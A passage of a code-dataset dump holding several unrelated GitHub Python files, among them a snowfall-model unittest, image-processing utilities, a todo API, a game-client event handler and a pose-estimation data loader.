len(faces) > 1:\n        winsound.Beep(1000, 1000)\n\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"KJSCE-HACKATHON-RAIT/face_detector","sub_path":"faces.py","file_name":"faces.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"14716296807","text":"\n\nimport unittest\n\nfrom extreme_data.meteo_france_data.adamont_data.adamont.adamont_safran import AdamontSnowfall\nfrom extreme_data.meteo_france_data.adamont_data.adamont_scenario import AdamontScenario, get_gcm_rcm_couples\nfrom extreme_data.meteo_france_data.scm_models_data.safran.safran_max_snowf import SafranSnowfall2019\nfrom extreme_data.meteo_france_data.scm_models_data.utils import Season\nfrom extreme_fit.distribution.gev.gev_params import GevParams\nfrom extreme_fit.model.margin_model.linear_margin_model.temporal_linear_margin_models import StationaryTemporalModel, \\\n    NonStationaryShapeTemporalModel\nfrom extreme_fit.model.margin_model.spline_margin_model.temporal_spline_model_degree_1 import \\\n    NonStationaryTwoLinearScaleAndShapeOneLinearLocModel, NonStationaryTwoLinearLocationAndScaleAndShapeModel\nfrom extreme_fit.model.margin_model.utils import MarginFitMethod\nfrom extreme_fit.model.utils import set_seed_for_test\nfrom extreme_trend.ensemble_fit.together_ensemble_fit.together_ensemble_fit import TogetherEnsembleFit\nfrom extreme_trend.ensemble_fit.visualizer_for_projection_ensemble import VisualizerForProjectionEnsemble\nfrom extreme_trend.one_fold_fit.altitudes_studies_visualizer_for_non_stationary_models import \\\n    AltitudesStudiesVisualizerForNonStationaryModels\nfrom projects.projected_extreme_snowfall.results.combination_utils import climate_coordinates_with_effects_list\nfrom spatio_temporal_dataset.coordinates.temporal_coordinates.temperature_covariate import \\\n    AnomalyTemperatureWithSplineTemporalCovariate\n\n\nclass TestProjectedEnsemble(unittest.TestCase):\n    DISPLAY = False\n\n    def test_projected_ensemble(self):\n        study_class = AdamontSnowfall\n        massif_names = ['Vanoise']\n        temporal_covariate_for_fit = AnomalyTemperatureWithSplineTemporalCovariate\n        set_seed_for_test()\n        scenario = AdamontScenario.rcp85_extended\n        AltitudesStudiesVisualizerForNonStationaryModels.consider_at_least_two_altitudes = False\n        gcm_rcm_couples = get_gcm_rcm_couples(scenario)\n        gcm_rcm_couples = gcm_rcm_couples[:2] + gcm_rcm_couples[-2:]\n        altitudes_list = [[2700]]\n        model_classes = [StationaryTemporalModel,\n                         NonStationaryShapeTemporalModel,\n                         NonStationaryTwoLinearScaleAndShapeOneLinearLocModel,\n                         NonStationaryTwoLinearLocationAndScaleAndShapeModel]\n\n        # Default parameters\n        gcm_to_year_min_and_year_max = None\n        only_model_that_pass_gof = True\n        remove_physically_implausible_models = True\n        safran_study_class = SafranSnowfall2019\n        ensemble_fit_classes = [TogetherEnsembleFit]\n\n        idx_list = [(0,0,0), (0, 1, 0), (0, 2, 3), (1, 2, 3)]\n        for i1, i2, i3 in idx_list:\n            param_name_to_climate_coordinates_with_effects = {\n                GevParams.LOC: climate_coordinates_with_effects_list[i1],\n                GevParams.SCALE: climate_coordinates_with_effects_list[i2],\n                GevParams.SHAPE: climate_coordinates_with_effects_list[i3],\n            }\n            print(param_name_to_climate_coordinates_with_effects)\n\n            visualizer = VisualizerForProjectionEnsemble(\n                altitudes_list, gcm_rcm_couples, study_class, Season.annual, scenario,\n                model_classes=model_classes,\n                ensemble_fit_classes=ensemble_fit_classes,\n                massif_names=massif_names,\n                fit_method=MarginFitMethod.evgam,\n                temporal_covariate_for_fit=temporal_covariate_for_fit,\n                remove_physically_implausible_models=remove_physically_implausible_models,\n                gcm_to_year_min_and_year_max=gcm_to_year_min_and_year_max,\n                safran_study_class=safran_study_class,\n                display_only_model_that_pass_gof_test=only_model_that_pass_gof,\n                param_name_to_climate_coordinates_with_effects=param_name_to_climate_coordinates_with_effects,\n            )\n        self.assertTrue(True)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"guillaumeevin/pynonstationarygev","sub_path":"test/test_projects/test_projected_snowfall/test_projected_ensemble.py","file_name":"test_projected_ensemble.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9728977625","text":"# coding: utf-8\nimport matplotlib.pyplot as plt\n\nfrom scipy.stats import t\nimport numpy as np\n\n\"\"\"\nt分布\n標準正規分布N(0,12)に従う確率変数Xと、自由度dのカイ二乗分布に従う確率変数Yとの比\nT = X / (math.sqrt(Y / d))\nが従う確率分布を(スチューデントの)t分布とよびt(d)で表します。\n\nt分布の確率密度関数は次式で与えられます:\nf(x) = (1/sqrt(d*pi)) * (gamma(d+1/2) / gamma(d/2)) * (1 + x**2 / d)**(-(d+1)/2)\n(-inf < x < inf)\n\n\"\"\"\n\n# t_dist : Nが大きくなるとgaussianに漸近していく\n# set X-axis\nx = np.linspace(-5, 5, 100)\n\n# DOF = 3, t-dist\nrv = t(3)\nplt.plot(x, rv.pdf(x))\n\n\n\"\"\"\n[ref]\nhttp://lang.sist.chukyo-u.ac.jp/classes/PythonProbStat/Intro2ProbDistri.html\n\"\"\"\nfig, ax = plt.subplots(1, 1)\nx2 = np.linspace(-6, 6)\nlinestyles = [':', '--', '-.']\ndof = [1, 3, 100]\n\nfor df, ls in zip(dof, linestyles):\n    ax.plot(x2, t.pdf(x2, df), linestyle = ls, label = r'$df=%i$' % df)\n\nplt.xlabel(r'$t$')\nplt.ylabel(r't-Distribution')\nplt.axis([-6, 6, -0.02, 0.6])\nplt.legend()\nplt.grid()\n\nplt.show()\n\n","repo_name":"jusui/Data_Science","sub_path":"Basic_Stat/t_dist.py","file_name":"t_dist.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40678054402","text":"from string import digits\n\nimport cv2\nimport kornia\nimport numpy as np\nimport torch\n\nfrom ida_lib.global_parameters import device, data_types_2d\n\n\ndef data_to_numpy(data):\n    if torch.is_tensor(data):\n        return kornia.tensor_to_image(data)\n    elif isinstance(data, dict):\n        for k in data.keys():\n            if torch.is_tensor(data[k]):\n                data[k] = kornia.tensor_to_image(data[k])\n                if len(data[k].shape) < 3:\n                    data[k] = data[k][..., np.newaxis]\n        return data\n    else:\n        return data\n\n\ndef arrays_equal(arr1, arr2):\n    comparison = arr1.astype(np.uint8) == arr2.astype(np.uint8)\n    return comparison.all()\n\n\ndef is_numpy_data(data):\n    if type(data) is np.ndarray:\n        return True\n    elif isinstance(data, dict):\n        ppal_type = get_principal_type(data)\n        return type(data[ppal_type]) is np.ndarray\n\n\ndef round_torch(arr: torch.tensor, n_digits: int = 3):\n    return torch.round(arr * 10 ** n_digits) / (10 ** n_digits)\n\n\ndef remove_digits(label: str):\n    remove = str.maketrans('', '', digits)\n    return label.translate(remove)\n\n\ndef add_new_axis(arr: np.ndarray):\n    return arr[..., np.newaxis]\n\n\ndef tensor_to_image(tensor: torch.Tensor) -> np.array:\n    \"\"\"Converts a PyTorch tensor image to a numpy image. In case the tensor is in the GPU,\n    it will be copied back to CPU.\n\n    Args:\n        tensor (torch.Tensor): image of the form :math:`(H, W)`, :math:`(C, H, W)` or\n            :math:`(B, C, H, W)`.\n\n    Returns:\n        numpy.ndarray: image of the form :math:`(H, W)`, :math:`(H, W, C)` or :math:`(B, H, W, C)`.\n\n    \"\"\"\n    if not torch.is_tensor(tensor):\n        raise TypeError(\"Input type is not a torch.Tensor. Got {}\".format(\n            type(tensor)))\n\n    if len(tensor.shape) > 4 or len(tensor.shape) < 2:\n        raise ValueError(\n            \"Input size must be a two, three or four dimensional tensor\")\n\n    input_shape = tensor.shape\n    image: np.array = tensor.cpu().detach().numpy()\n    if len(input_shape) == 2:\n        # (H, W) -> (H, W)\n        image = image\n    elif len(input_shape) == 3:\n        # (C, H, W) -> (H, W, C)\n        if input_shape[0] == 1:\n            # Grayscale for proper plt.imshow needs to be (H,W)\n            image = image.squeeze()\n        else:\n            image = image.transpose(1, 2, 0)\n    elif len(input_shape) == 4:\n        # (B, C, H, W) -> (B, H, W, C)\n        image = image.transpose(0, 2, 3, 1)\n        if input_shape[0] == 1:\n            image = image.squeeze(0)\n        if input_shape[1] == 1:\n            image = image.squeeze(-1)\n    else:\n        raise ValueError(\n            \"Cannot process tensor with shape {}\".format(input_shape))\n\n    return image\n\n\ndef dtype_to_torch_type(im_type: np.dtype):\n    \"\"\"\n    Maps the numpy type to the equivalent torch.type\n    :param im_type: numpy type\n    :return: torch.type\n    \"\"\"\n    if im_type == np.dtype('uint8'):\n        return torch.uint8\n    elif im_type == np.dtype('int8'):\n        return torch.int8\n    elif im_type == np.dtype('int16'):\n        return torch.int16\n    elif im_type == np.dtype('int32'):\n        return torch.int\n    elif im_type == np.dtype('int64'):\n        return torch.int64\n    elif im_type == np.dtype('float32'):\n        return torch.float\n    elif im_type == np.dtype('float64'):\n        return torch.float64\n    else:\n        return torch.uint8\n\n\ndef get_principal_type(data: dict):\n    if 'image' in data:\n        return 'image'\n    for label in data.keys():\n        no_numbered = remove_digits(label)\n        if no_numbered in data_types_2d:\n            return label\n\n\ndef save_im(tensor, title):\n    tensor = tensor.cpu()\n    img = kornia.tensor_to_image(tensor.byte())\n    img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n    cv2.imwrite(title, img)\n\n\ndef element_to_dict_csv_format(item, name):\n    output_dict = {}\n    if isinstance(item, list) or isinstance(item, np.ndarray):\n        for index, item in enumerate(item):\n            label = name + '_' + str(index)\n            if isinstance(item, list) or isinstance(item, np.ndarray):\n                labelx = label + '_x'\n                labely = label + '_y'\n                output_dict[labelx] = item[0]\n                output_dict[labely] = item[1]\n            else:\n                output_dict[label] = item\n    else:\n        output_dict[name] = item\n    return output_dict\n\n\n\"\"\"Returns a tensor (two-dimensional) of the coordinates of the center of the input image \"\"\"\n\n\ndef get_torch_image_center(data):\n    center = torch.ones(1, 2)\n    center[..., 0] = data.shape[-2] // 2  # x\n    center[..., 1] = data.shape[-1] // 2  # y\n    return center\n\n\ndef map_value(x, in_min, in_max, out_min, out_max):\n    return int((x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min)\n\n\ndef keypoints_to_homogeneous_functional(keypoints):\n    if keypoints[0].dim() == 1:\n        keypoints = [point.reshape(2, 1) for point in keypoints]\n    return tuple([torch.cat((point.float(), torch.ones(1, 1)), axis=0).to(device) for point in keypoints])\n\n\ndef homogeneous_points_to_matrix(keypoints):\n    return torch.transpose(keypoints[:2, :], 0, 1)\n\n\ndef homogeneous_points_to_list(keypoints):\n    return [(dato[:2, :]).reshape(2) for dato in torch.split(keypoints, 1, dim=1)]\n\n\ndef keypoints_to_homogeneous_and_concatenate(keypoints, resize_factor=None):\n    if resize_factor is None:\n        if type(keypoints) is np.ndarray:\n            keypoints = keypoints.transpose()\n            ones = np.ones((1, keypoints.shape[1]))\n            compose_data = torch.tensor(np.concatenate((keypoints, ones), axis=0), dtype=torch.float).to(device)\n        else:\n            if keypoints[0].dim() == 1:\n                keypoints = [point.reshape(2, 1) for point in keypoints]\n            keypoints = tuple([torch.cat((point.float(), torch.ones(1, 1)), axis=0).to(device) for point in keypoints])\n            compose_data = torch.cat(keypoints, 1)  # concatenate data into one multichannel pytorch tensor\n        return compose_data\n    else:\n        if type(keypoints) is np.ndarray:\n            keypoints = keypoints.transpose()\n            ones = np.ones((1, keypoints.shape[1]))\n            compose_data = torch.tensor(np.concatenate(((keypoints[0, :] * resize_factor[0]).reshape(1, keypoints.shape[\n                1]), (keypoints[1, :] * resize_factor[1]).reshape(1, keypoints.shape[1]), ones), axis=0),\n                                        dtype=torch.float).to(device)\n        else:\n            if keypoints[0].dim() == 1:\n                keypoints = [point.reshape(2, 1) for point in keypoints]\n            keypoints = tuple([(torch.cat((torch.tensor(\n                (point[0].float() * resize_factor[0], point[1].float() * resize_factor[1])).reshape(2, 1),\n                                           torch.ones(1, 1)), axis=0).to(device)) for point in keypoints])\n            compose_data = torch.cat(keypoints, 1)  # concatenate data into one multichannel pytorch tensor\n        return compose_data\n\n\n# converts the intermediate values ​​generated by the transformations to 0-1\ndef mask_change_to_01_functional(mask):\n    return mask // 0.5\n\n\ndef _resize_image(image, new_size):\n    return cv2.resize(image, new_size)\n\n\ndef is_a_normalized_image(image):\n    return image.min() >= 0 and image.max() <= 1\n","repo_name":"alexandre-cezar/packages","sub_path":"ida_lib-1.0/ida_lib/operations/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16787263406","text":"import logging\nfrom typing import TYPE_CHECKING, Dict, Type\n\nfrom client.engine.network.channel import Channel\nfrom client.engine.primitives.event_handler import EventHandler\nfrom common.messages import (\n    ErrorMessage,\n    GameListRequestMessage,\n    GameListResponseMessage,\n)\n\nfrom .commands import ErrorGettingGameList, UpdateGameList\nfrom .events import GetGameListNetworkRequestEvent\n\nif TYPE_CHECKING:\n    from client.engine.general_state.client_state import ClientState\n    from client.engine.primitives.event import Event\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass ErrorGettingGameListEventHandler(EventHandler):\n    pass\n\n\nclass GetGameListNetworkRequestEventHandler(EventHandler):\n    def handle(\n        self, event: \"GetGameListNetworkRequestEvent\", client_state: \"ClientState\"\n    ) -> None:\n        request_data = self._encode()\n\n        response = Channel.send_command(request_data)\n        if response is not None:\n            if isinstance(response, GameListResponseMessage):\n                UpdateGameList(\n                    client_state.profile, client_state.queue, response.games\n                ).execute()\n            if isinstance(response, ErrorMessage):\n                ErrorGettingGameList(\n                    client_state.profile,\n                    client_state.queue,\n                ).execute()\n                logger.info(response.__dict__)\n        else:\n            ErrorGettingGameList(\n                client_state.profile,\n                client_state.queue,\n            ).execute()\n            logger.error(\"Error retrieving the game list from the server\")\n\n    def _encode(self) -> \"GameListRequestMessage\":\n        return GameListRequestMessage()\n\n\nhandlers_map: Dict[Type[\"Event\"], Type[EventHandler]] = {\n    GetGameListNetworkRequestEvent: GetGameListNetworkRequestEventHandler\n}\n","repo_name":"namelivia/game-exercise","sub_path":"client/engine/features/game_list/event_handler.py","file_name":"event_handler.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"10944247153","text":"import ujson\n\nfrom app.utils import api_models\nfrom app.utils.decorators import something_might_go_wrong, get_todo_ids, load_model\nfrom app.utils.models import TodoModel\nfrom app.utils.responses import success\n\n\n@something_might_go_wrong\n@load_model(api_models.Todo, with_identity=True)\ndef create(todo: api_models.Todo, identity_id):\n    \"\"\"Create a new to do in the database\"\"\"\n    new_todo = TodoModel(identity_id, **todo.dict())\n    new_todo.save()\n    todo_db = api_models.TodoInDB.parse_obj(new_todo.attribute_values)\n    todo_out = api_models.TodoOut.parse_obj(todo_db)\n    return success({\"message\": \"Todo Created\", \"item\": todo_out.dict()}, 201)\n\n\n@something_might_go_wrong\n@get_todo_ids\ndef read_single(user_id, todo_id, _):\n    \"\"\"Get a single to do item\"\"\"\n    todo = TodoModel.get(user_id, todo_id)\n    todo_db = api_models.TodoInDB.parse_obj(todo.attribute_values)\n    todo_out = api_models.TodoOut.parse_obj(todo_db)\n    return success(todo_out.dict())\n\n\n@something_might_go_wrong\ndef read_active(event, _context):\n    \"\"\"Get all uncompleted to do items\"\"\"\n    user_id = event[\"requestContext\"][\"identity\"][\"cognitoIdentityId\"]\n    items = TodoModel.query(user_id, TodoModel.completed == False)\n    response_body = api_models.process_todo_db_list(items)\n    return success(response_body)\n\n\n@something_might_go_wrong\ndef read_completed(event, _context):\n    \"\"\"Get all completed to do items\"\"\"\n    user_id = event[\"requestContext\"][\"identity\"][\"cognitoIdentityId\"]\n    items = TodoModel.query(user_id, TodoModel.completed == True)\n    response_body = api_models.process_todo_db_list(items)\n    return success(response_body)\n\n\ndef _modify_completed(user_id, todo_id, set_to):\n    item = TodoModel.get(user_id, todo_id)\n    item.completed = set_to\n    item.save()\n    item.refresh()\n    return success({\"message\": \"Updated\", \"item\": item.attribute_values})\n\n\n@something_might_go_wrong\n@get_todo_ids\ndef mark_completed(user_id, todo_id, _):\n    \"\"\"Mark an item as completed\"\"\"\n    return _modify_completed(user_id, todo_id, True)\n\n\n@something_might_go_wrong\n@get_todo_ids\ndef unmark_completed(user_id, todo_id, _):\n    \"\"\"Mark an to do item as not complete\"\"\"\n    return _modify_completed(user_id, todo_id, False)\n\n\n@something_might_go_wrong\n@get_todo_ids\ndef update(user_id, todo_id, event):\n    \"\"\"Update the content or instrument of a to do item\"\"\"\n    data = ujson.loads(event[\"body\"])\n    item = TodoModel.get(user_id, todo_id)\n    if data.get(\"content\"):\n        item.content = data[\"content\"]\n    if data.get(\"relevantInstrument\"):\n        item.relevantInstrument = data[\"relevantInstrument\"]\n    item.save()\n    item.refresh()\n    todo_db = api_models.TodoInDB.parse_obj(item.attribute_values)\n    todo_out = api_models.TodoOut.parse_obj(todo_db)\n    return success({\"message\": \"Updated\", \"item\": todo_out.dict()})\n\n\n@something_might_go_wrong\n@get_todo_ids\ndef delete(user_id, todo_id, _):\n    \"\"\"Delete a to do item\"\"\"\n    item = TodoModel.get(user_id, todo_id)\n    item.delete()\n    return success({\"message\": \"deleted\"}, 204)\n","repo_name":"rickh94/instrument-inventory","sub_path":"app/todos.py","file_name":"todos.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20824401863","text":"from datetime import date\nfrom project.dtos import CandidatesFilterDto\nfrom project.models import Candidate\nfrom project.repositories.candidates import add_candidates_filter\nfrom tests._tools.database.db_query_test import DbQueryTest, literal_query\n\ndb = DbQueryTest()\n\n\ndef test_given_no_data_in_candidates_filter_it_should_work_as_expected():\n    candidates_filter = CandidatesFilterDto()\n    query = db.session.query(Candidate.id)\n    query = add_candidates_filter(query, candidates_filter)\n    response = literal_query(query)\n\n    assert response == 'SELECT candidates.id \\nFROM candidates'\n\n\ndef test_given_candidates_filter_it_should_work_as_expected():\n    candidates_filter = CandidatesFilterDto(from_date_created_at=date(2020, 1, 1),\n                                            categories=['POLITICS', 'ENVIRONMENT'])\n\n    query = db.session.query(Candidate.id)\n    query = add_candidates_filter(query, candidates_filter)\n    response = literal_query(query)\n\n    assert response == \"SELECT candidates.id \\n\" \\\n                       \"FROM candidates \\n\" \\\n                       \"WHERE candidates.created_at >= '2020-01-01' \" \\\n                       \"AND candidates.category IN ('POLITICS', 'ENVIRONMENT')\"\n","repo_name":"oorellana95/rule-of-thumb-be","sub_path":"tests/integration/repositories/candidates/test_add_candidates_filter.py","file_name":"test_add_candidates_filter.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23781820079","text":"fibo = []\ndef fibonacci(end):\n    for i in range(end+1):\n        if i == 0:\n            num = 0\n        elif i == 1 or i == 2:\n            num = 1\n        else:\n            num = fibo[-1] + fibo[-2]\n        fibo.append(num)\n    \nnum1 = int(input())\nfibonacci(num1)\nprint(fibo[-1])\n","repo_name":"yongjun-hong/baekjoon_codes","sub_path":"백준 2748번.py","file_name":"백준 2748번.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9358650774","text":"#!/usr/bin/env python3\nimport numpy as np\nfrom .write_output import SolutionOutput\n\n\ndef parse_solution(file, cache_count, cache_size, video_sizes, problem):\n    assert cache_count > 0\n    assert cache_size > 0\n    assert all(v > 0 for v in video_sizes)\n    sol = SolutionOutput(problem)\n    num_videos = len(video_sizes)\n    spec_cluster = set()\n    with open(file) as fin:\n        firstline = fin.readline().strip().split(' ')\n        assert len(firstline) == 1\n        used_caches = int(firstline[0])\n        assert 0 <= used_caches <= cache_count\n        for i in range(used_caches):\n            line = fin.readline().strip().split(' ')\n            assert 1 <= len(line) <= 1 + num_videos\n            # add cache to set, if not already present\n            c = int(line[0])\n            assert c not in spec_cluster\n            spec_cluster.add(c)\n\n            sol.state[c, list(int(line[i+1]) for i in range(len(line) - 1))] = True\n            assert sum(sol.state[c]) == len(line) - 1\n            vid_size = sum(video_sizes * sol.state[c])\n            assert vid_size <= cache_size\n    return sol\n\n\ndef compute_score(task, solution):\n    saved_micros = 0\n    total_requests = 0\n    for index, nbr in np.ndenumerate(task.requests):\n        if nbr == 0:\n            continue\n        vid = index[0]\n        ep = index[1]\n        # print('vid, ep, nbr: ', vid, ep, nbr)\n\n        total_requests += nbr\n        cache_conns = task.endpoints[ep]\n        datacenter_latency = np.ones_like(cache_conns) * task.latency_datacenter[ep]\n        cache_latency = np.where(np.logical_and(cache_conns >= 0, solution.state[:, vid]),\n                                      cache_conns, datacenter_latency)\n        # print('datacenter_latency: ', datacenter_latency)\n        # print('cache_latency: ', cache_latency)\n        saved_micros += (task.latency_datacenter[ep] - np.min(cache_latency)) * nbr * 1000\n        # print(saved_micros)\n    print('total requests:', total_requests)\n    print('saved micros:', saved_micros)\n    print('score:', saved_micros / total_requests)\n","repo_name":"risteon/google-hash-code-2017-qualification-round","sub_path":"hashcode_2019_qualification/check_solution.py","file_name":"check_solution.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7197563957","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport copy\nimport logging\nimport random\n\nimport cv2\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom utils.transforms import get_affine_transform\nfrom utils.transforms import affine_transform\nfrom utils.transforms import fliplr_joints\n\nimport random\n# from kscv import imgproc\n\nlogger = logging.getLogger(__name__)\nimport skimage\n\nJPEG_FLAG = int(cv2.IMWRITE_JPEG_QUALITY)\ndef gaussian_sharpen(img, factor=0.5):\n    blur_img = cv2.GaussianBlur(img, (0, 0), 3)\n    img = cv2.addWeighted(img, factor+1, blur_img, -factor, 0)\n    return img\ndef add_jpeg_noise(img, quality=20):\n    jpeg_data = cv2.imencode(\n                    '.jpg',\n                    img,\n                    [JPEG_FLAG, quality])[1]\n    restore_img = cv2.imdecode(\n                    np.array(jpeg_data),\n                    cv2.IMREAD_UNCHANGED)\n    return restore_img\ndef add_upscale_noise(img, scale_factor=2, iter_num=1):\n    img_h, img_w = img.shape[:2]\n\n    scale_h = int(img_h/scale_factor)\n    scale_w = int(img_w/scale_factor)\n\n    for i in range(iter_num):\n        scale_img = cv2.resize(img,\n                        (scale_w, scale_h),\n                        0,\n                        0,\n                        cv2.INTER_NEAREST)\n        img = cv2.resize(scale_img,\n                        (img_w, img_h),\n                        0,\n                        0,\n                        cv2.INTER_NEAREST)\n    return img\ndef add_gaussian_noise(img, var):\n    noise_img = skimage.util.random_noise(\n                        img,\n                        mode='gaussian',\n                        mean=0,\n                        var=var,\n                        seed=None,\n                        clip=True\n                        )\n    noise_img = (noise_img*255).astype(np.uint8)\n    return noise_img\n\n\n\ndef augmentation(img):\n    if random.uniform(0, 1)<0.5:\n        jpeg_noise = random.randint(17, 25)\n        # img = imgproc.add_jpeg_noise(img, quality=jpeg_noise)\n        img = add_jpeg_noise(img, quality=jpeg_noise)\n    \n    if random.uniform(0, 1)<0.3:\n        scale_factor = random.uniform(1.5, 2.5)\n        # img = imgproc.add_upscale_noise(img, scale_factor=scale_factor)\n        img = add_upscale_noise(img, scale_factor=scale_factor)\n    if random.uniform(0, 1)<0.3:\n        gaussian_factor = random.uniform(0, 0.01)\n        # img = imgproc.add_gaussian_noise(img, var=gaussian_factor)\n        img = add_gaussian_noise(img, var=gaussian_factor)\n\n    return img\n\n\n\n\nclass JointsDataset(Dataset):\n    def __init__(self, cfg, root, image_set, is_train, transform=None):\n        self.num_joints = 0\n        self.pixel_std = 200\n        self.flip_pairs = []\n        self.parent_ids = []\n\n        self.is_train = is_train\n        self.root = root\n        self.image_set = image_set\n\n        self.output_path = cfg.OUTPUT_DIR\n        self.data_format = cfg.DATASET.DATA_FORMAT\n\n        self.scale_factor = cfg.DATASET.SCALE_FACTOR\n        self.rotation_factor = cfg.DATASET.ROT_FACTOR\n        self.flip = cfg.DATASET.FLIP\n\n        self.image_size = cfg.MODEL.IMAGE_SIZE\n        self.target_type = cfg.MODEL.EXTRA.TARGET_TYPE\n        self.heatmap_size = cfg.MODEL.EXTRA.HEATMAP_SIZE\n        self.sigma = cfg.MODEL.EXTRA.SIGMA\n\n        self.transform = transform\n        self.db = []\n\n    def _get_db(self):\n        raise NotImplementedError\n\n    def evaluate(self, cfg, preds, output_dir, *args, **kwargs):\n        raise NotImplementedError\n\n    def __len__(self,):\n        return len(self.db)\n\n    def __getitem__(self, idx):\n        db_rec = copy.deepcopy(self.db[idx])  # img，及5个特征点坐标\n        image_file = db_rec['image'] # img path\n        filename = db_rec['filename'] if 'filename' in db_rec else ''\n        imgnum = db_rec['imgnum'] if 'imgnum' in db_rec else ''\n\n        data_numpy = cv2.imread(image_file, cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION)  # 原始图片的尺寸\n        cv2.imwrite(\"data_numpy.jpg\", data_numpy)\n        img_raw = copy.deepcopy(data_numpy)\n\n        if data_numpy is None:\n            logger.error('=> fail to read {}'.format(image_file))\n            raise ValueError('Fail to read {}'.format(image_file))\n\n        joints = db_rec['joints']\n        joints_raw = copy.deepcopy(db_rec['joints'])\n        joints_vis = db_rec['joints_vis']\n\n        img_resize256 = cv2.resize(data_numpy, (256, 256))  # resize成256， 直接写入meta，返回输出\n\n        joints_256 = np.array([[0 for i in range(2)] for j in range(5)])\n        joints_256[:,0] = joints[:,0] * 256 / img_raw.shape[0]\n        joints_256[:,1] = joints[:, 1] * 256 / img_raw.shape[0]\n\n        target_256_64, target_weight = self.generate_target(joints_256, joints_vis)  # 对进行仿射变换后的label，生成heatmap\n\n\n        data_numpy = cv2.resize(data_numpy,(250, 250))\n\n        joints[:,0] = joints[:,0] * 250 / img_raw.shape[0]  # 将label中的特征点，缩放到250这个级别\n        joints[:,1] = joints[:,1] * 250 / img_raw.shape[1]\n\n        # drift\n        c = np.array([125.0 + random.uniform(-30.0, 30.0),\n                      125.0 + random.uniform(-30.0, 30.0)])  # db_rec['center'], 中心点，偏移后的量\n\n        s = 1.0  # db_rec['scale']\n        score = db_rec['score'] if 'score' in db_rec else 1\n        r = 0\n\n        if self.is_train:  # 训练时，做缩放和旋转，测试时不做\n            sf = self.scale_factor # 缩放因子\n            rf = self.rotation_factor # 旋转因子\n            #s = s * np.clip(np.random.randn()*sf + 1, 1 - sf, 1 + sf)\n            s = s * np.clip(np.random.randn()*sf + 1, 0.7, 1.2)\n            r = np.clip(np.random.randn()*rf, -rf*2, rf*2) if random.random() <= 0.6 else 0\n\n            if self.flip and random.random() <= 0.5:\n                data_numpy = data_numpy[:, ::-1, :]\n                joints, joints_vis = fliplr_joints(\n                    joints, joints_vis, data_numpy.shape[1], self.flip_pairs)\n                c[0] = data_numpy.shape[1] - c[0] - 1\n\n        trans = get_affine_transform(c, s, r, self.image_size) # 定义trans， img做缩放，平移和翻转，将图片扩充为256, trans比例为rand（以240为例）-256\n        input = cv2.warpAffine(                                # 对input做放射变换到256\n            data_numpy,\n            trans,\n            (int(self.image_size[0]), int(self.image_size[1])),\n            flags=cv2.INTER_LINEAR)\n\n        img_256 = copy.deepcopy(input)\n\n        for i in range(self.num_joints):\n            if joints_vis[i, 0] > 0.0:\n                joints[i, 0:2] = affine_transform(joints[i, 0:2], trans)  # 对label做放射变换到256\n\n        input = augmentation(input)  # 图像加噪音\n\n        if self.transform:\n            input = self.transform(input)  # 对input做transform，为tensor（除以255），再做BN\n        if self.transform:\n            img_resize256_BN = self.transform(img_resize256)  # 对input做transform，为tensor（除以255），再做BN\n\n        target, target_weight = self.generate_target(joints, joints_vis) # 对进行仿射变换后的label，生成heatmap\n        target = torch.from_numpy(target)\n        target_weight = torch.from_numpy(target_weight)\n\n        meta = {\n            'image': image_file,  # 文件的名字\n            'img_raw':img_raw,    # img的pixel数组\n            'img_resize256':img_resize256,\n            'img_resize256_BN':img_resize256_BN,\n            'img_256':img_256,\n            'filename': filename,\n            'imgnum': imgnum,\n            'joints': joints,\n            'joints_raw':joints_raw,  # txt中的label信息\n            'joints_256':joints_256,\n            'target_256_64':target_256_64,\n            'joints_vis': joints_vis,\n            'center': c,\n            'scale': s,\n            'rotation': r,\n            'score': score\n        }\n        # return input, target, target_weight  # targer_weight用于控制特征点显示不显示\n        return input, target, target_weight, meta\n\n    def select_data(self, db):\n        db_selected = []\n        for rec in db:\n            num_vis = 0\n            joints_x = 0.0\n            joints_y = 0.0\n            for joint, joint_vis in zip(\n                    rec['joints_3d'], rec['joints_3d_vis']):\n                if joint_vis[0] <= 0:\n                    continue\n                num_vis += 1\n\n                joints_x += joint[0]\n                joints_y += joint[1]\n            if num_vis == 0:\n                continue\n\n            joints_x, joints_y = joints_x / num_vis, joints_y / num_vis\n\n            area = rec['scale'][0] * rec['scale'][1] * (self.pixel_std**2)\n            joints_center = np.array([joints_x, joints_y])\n            bbox_center = np.array(rec['center'])\n            diff_norm2 = np.linalg.norm((joints_center-bbox_center), 2)\n            ks = np.exp(-1.0*(diff_norm2**2) / ((0.2)**2*2.0*area))\n\n            metric = (0.2 / 16) * num_vis + 0.45 - 0.2 / 16\n            if ks > metric:\n                db_selected.append(rec)\n\n        logger.info('=> num db: 